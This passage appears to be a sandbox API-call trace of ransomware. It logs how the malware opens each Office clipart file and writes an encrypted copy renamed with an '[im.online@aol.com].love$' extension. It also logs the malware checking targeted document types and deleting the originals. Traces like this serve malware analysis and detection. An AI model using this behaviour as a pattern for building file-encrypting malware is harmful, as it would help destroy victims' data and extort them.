(lpString=".1cd") returned 4 [0261.562] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0261.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68 [0261.562] lstrlenW (lpString=".jpg") returned 4 [0261.562] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0261.562] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0261.562] lstrlenW (lpString="J0086420.WMF") returned 12 [0261.562] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086420.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570 [0261.565] GetFileSizeEx (in: hFile=0x570, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=9596) returned 1 [0261.565] CloseHandle (hObject=0x570) returned 1 [0261.565] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086420.wmf")) returned 0x220 [0261.565] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086420.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0261.565] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086420.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570 [0261.566] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.566] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.566] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086420.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0261.567] GetLastError () returned 0x0 [0261.567] ReadFile (in: hFile=0x570, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x257c, lpOverlapped=0x0) returned 1 [0261.570] WriteFile (in: hFile=0x534, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0x2580, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0x2580, lpOverlapped=0x0) returned 1 [0261.572] ReadFile (in: hFile=0x570, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0261.572] WriteFile (in: hFile=0x534, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec, lpOverlapped=0x0) returned 1 [0261.572] SetEndOfFile (hFile=0x534) returned 1 [0261.572] CloseHandle (hObject=0x534) returned 1 [0261.573] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.573] SetEndOfFile (hFile=0x570) returned 1 [0262.023] CloseHandle (hObject=0x570) returned 1 [0262.024] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0262.026] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086420.wmf")) returned 1 [0262.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68 [0262.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68 [0262.028] lstrlenW (lpString=".doc") returned 4 [0262.028] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.028] lstrlenW (lpString=".docx") returned 5 [0262.028] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0262.028] lstrlenW (lpString=".pdf") returned 4 [0262.028] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.028] lstrlenW (lpString=".xls") returned 4 [0262.028] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.028] lstrlenW (lpString=".xlsx") returned 5 [0262.029] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0262.029] lstrlenW (lpString=".ppt") returned 4 [0262.029] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68 [0262.029] lstrlenW (lpString=".zip") returned 4 [0262.029] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.029] lstrlenW (lpString=".rar") returned 4 [0262.029] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.029] lstrlenW (lpString=".bz2") returned 4 [0262.029] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.029] lstrlenW (lpString=".7z") returned 3 [0262.029] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68 [0262.029] lstrlenW (lpString=".dbf") returned 4 [0262.029] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68 [0262.029] lstrlenW (lpString=".1cd") returned 4 [0262.029] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68 [0262.029] lstrlenW (lpString=".jpg") returned 4 [0262.029] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68 [0262.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68 [0262.029] lstrlenW (lpString=".doc") returned 4 [0262.029] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.030] lstrlenW (lpString=".docx") returned 5 [0262.030] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0262.030] lstrlenW (lpString=".pdf") returned 4 [0262.030] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.030] lstrlenW (lpString=".xls") returned 4 [0262.030] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.030] lstrlenW (lpString=".xlsx") returned 5 [0262.030] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0262.030] lstrlenW (lpString=".ppt") returned 4 [0262.030] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68 [0262.030] lstrlenW (lpString=".zip") returned 4 [0262.030] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.030] lstrlenW (lpString=".rar") returned 4 [0262.030] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.030] lstrlenW (lpString=".bz2") returned 4 [0262.030] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.030] lstrlenW (lpString=".7z") returned 3 [0262.030] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68 [0262.030] lstrlenW (lpString=".dbf") returned 4 [0262.030] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68 [0262.030] lstrlenW (lpString=".1cd") returned 4 [0262.030] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68 [0262.030] lstrlenW (lpString=".jpg") returned 4 [0262.030] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.031] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0262.031] lstrlenW (lpString="J0086478.WMF") returned 12 [0262.031] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086478.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570 [0262.032] GetFileSizeEx (in: hFile=0x570, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=14174) returned 1 [0262.032] CloseHandle (hObject=0x570) returned 1 [0262.032] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086478.wmf")) returned 0x220 [0262.032] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086478.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0262.032] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086478.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570 [0262.033] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.033] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.033] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086478.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0262.034] GetLastError () returned 0x0 [0262.034] ReadFile (in: hFile=0x570, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x375e, lpOverlapped=0x0) returned 1 [0262.037] WriteFile (in: hFile=0x53c, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0x3760, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0x3760, lpOverlapped=0x0) returned 1 [0262.039] ReadFile (in: hFile=0x570, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0262.039] WriteFile (in: hFile=0x53c, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec, lpOverlapped=0x0) returned 1 [0262.039] SetEndOfFile (hFile=0x53c) returned 1 [0262.039] CloseHandle (hObject=0x53c) returned 1 [0262.040] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.040] SetEndOfFile (hFile=0x570) returned 1 [0262.044] CloseHandle (hObject=0x570) returned 1 [0262.045] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0262.045] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086478.wmf")) returned 1 [0262.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0262.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0262.047] lstrlenW (lpString=".doc") returned 4 [0262.047] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.047] lstrlenW (lpString=".docx") returned 5 [0262.048] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0262.048] lstrlenW (lpString=".pdf") returned 4 [0262.048] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.048] lstrlenW (lpString=".xls") returned 4 [0262.048] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.048] lstrlenW (lpString=".xlsx") returned 5 [0262.048] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0262.048] lstrlenW (lpString=".ppt") returned 4 [0262.048] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0262.048] lstrlenW (lpString=".zip") returned 4 [0262.048] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.048] lstrlenW (lpString=".rar") returned 4 [0262.048] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.048] lstrlenW (lpString=".bz2") returned 4 [0262.048] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.048] lstrlenW (lpString=".7z") returned 3 [0262.048] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0262.048] lstrlenW (lpString=".dbf") returned 4 [0262.048] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0262.048] lstrlenW (lpString=".1cd") returned 4 [0262.048] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0262.049] lstrlenW (lpString=".jpg") returned 4 [0262.049] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0262.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0262.049] lstrlenW (lpString=".doc") returned 4 [0262.049] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.049] lstrlenW (lpString=".docx") returned 5 [0262.049] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0262.049] lstrlenW (lpString=".pdf") returned 4 [0262.049] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.049] lstrlenW (lpString=".xls") returned 4 [0262.050] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.050] lstrlenW (lpString=".xlsx") returned 5 [0262.050] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0262.050] lstrlenW (lpString=".ppt") returned 4 [0262.050] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0262.050] lstrlenW (lpString=".zip") returned 4 [0262.050] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.050] lstrlenW (lpString=".rar") returned 4 [0262.050] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.050] lstrlenW (lpString=".bz2") returned 4 [0262.050] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.050] lstrlenW (lpString=".7z") returned 3 [0262.050] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0262.050] lstrlenW (lpString=".dbf") returned 4 [0262.050] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0262.050] lstrlenW (lpString=".1cd") returned 4 [0262.050] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0262.050] lstrlenW (lpString=".jpg") returned 4 [0262.050] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.051] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0262.051] lstrlenW (lpString="J0089945.WMF") returned 12 [0262.051] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089945.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570 [0262.053] GetFileSizeEx (in: hFile=0x570, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=19898) returned 1 [0262.053] CloseHandle (hObject=0x570) returned 1 [0262.060] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089945.wmf")) returned 0x220 [0262.060] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089945.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0262.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089945.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570 [0262.061] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.061] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.061] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089945.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0262.062] GetLastError () returned 0x0 [0262.063] ReadFile (in: hFile=0x570, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x4dba, lpOverlapped=0x0) returned 1 [0262.067] WriteFile (in: hFile=0x53c, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0x4dc0, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0x4dc0, lpOverlapped=0x0) returned 1 [0262.235] ReadFile (in: hFile=0x570, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0262.236] WriteFile (in: hFile=0x53c, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec, lpOverlapped=0x0) returned 1 [0262.236] SetEndOfFile (hFile=0x53c) returned 1 [0262.236] CloseHandle (hObject=0x53c) returned 1 [0262.236] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.236] SetEndOfFile (hFile=0x570) returned 1 [0262.242] CloseHandle (hObject=0x570) returned 1 [0262.242] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0262.454] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089945.wmf")) returned 1 [0262.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68 [0262.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68 [0262.675] lstrlenW (lpString=".doc") returned 4 [0262.675] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.675] lstrlenW (lpString=".docx") returned 5 [0262.675] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0262.675] lstrlenW (lpString=".pdf") returned 4 [0262.675] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.675] lstrlenW (lpString=".xls") returned 4 [0262.675] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.675] lstrlenW (lpString=".xlsx") returned 5 [0262.675] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0262.675] lstrlenW (lpString=".ppt") returned 4 [0262.675] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68 [0262.675] lstrlenW (lpString=".zip") returned 4 [0262.675] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.675] lstrlenW (lpString=".rar") returned 4 [0262.675] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.676] lstrlenW (lpString=".bz2") returned 4 [0262.676] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.676] lstrlenW (lpString=".7z") returned 3 [0262.676] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68 [0262.676] lstrlenW (lpString=".dbf") returned 4 [0262.676] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68 [0262.676] lstrlenW (lpString=".1cd") returned 4 [0262.676] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68 [0262.676] lstrlenW (lpString=".jpg") returned 4 [0262.676] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68 [0262.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68 [0262.676] lstrlenW (lpString=".doc") returned 4 [0262.676] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.676] lstrlenW (lpString=".docx") returned 5 [0262.676] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0262.676] lstrlenW (lpString=".pdf") returned 4 [0262.676] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.676] lstrlenW (lpString=".xls") returned 4 [0262.676] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.676] lstrlenW (lpString=".xlsx") returned 5 [0262.677] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0262.677] lstrlenW (lpString=".ppt") returned 4 [0262.677] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68 [0262.677] lstrlenW (lpString=".zip") returned 4 [0262.677] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.677] lstrlenW (lpString=".rar") returned 4 [0262.677] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.677] lstrlenW (lpString=".bz2") returned 4 [0262.677] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.677] lstrlenW (lpString=".7z") returned 3 [0262.677] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68 [0262.677] lstrlenW (lpString=".dbf") returned 4 [0262.677] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68 [0262.677] lstrlenW (lpString=".1cd") returned 4 [0262.677] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68 [0262.677] lstrlenW (lpString=".jpg") returned 4 [0262.677] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.678] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0262.678] lstrlenW (lpString="J0090149.WMF") returned 12 [0262.678] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090149.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, 